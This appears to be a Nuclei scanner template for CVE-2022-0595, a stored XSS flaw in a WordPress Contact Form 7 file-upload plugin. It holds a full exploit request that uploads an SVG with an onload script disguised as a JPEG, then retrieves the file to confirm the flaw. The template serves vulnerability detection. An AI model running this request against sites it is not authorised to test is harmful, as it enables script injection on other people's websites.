55 lines
1.9 KiB
YAML
55 lines
1.9 KiB
YAML
id: CVE-2022-0595
|
|
|
|
info:
|
|
name: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSS
|
|
author: akincibor
|
|
severity: medium
|
|
description: The plugin allows SVG files to be uploaded by default via the dnd_codedropz_upload AJAX action, which could lead to Stored Cross-Site Scripting issue.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
|
|
- https://plugins.trac.wordpress.org/changeset/2686614
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2022-0595
|
|
cwe-id: CWE-79
|
|
tags: cve,cve2022,xss,wordpress,wp-plugin
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
|
|
|
|
-----------------------------92633278134516118923780781161
|
|
Content-Disposition: form-data; name="size_limit"
|
|
|
|
10485760
|
|
-----------------------------92633278134516118923780781161
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
dnd_codedropz_upload
|
|
-----------------------------92633278134516118923780781161
|
|
Content-Disposition: form-data; name="type"
|
|
|
|
click
|
|
-----------------------------92633278134516118923780781161
|
|
Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg"
|
|
Content-Type: image/jpeg
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
|
|
-----------------------------92633278134516118923780781161--
|
|
|
|
- |
|
|
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_2, "alert(document.domain)")'
|
|
- 'status_code_2 == 200'
|
|
condition: and
|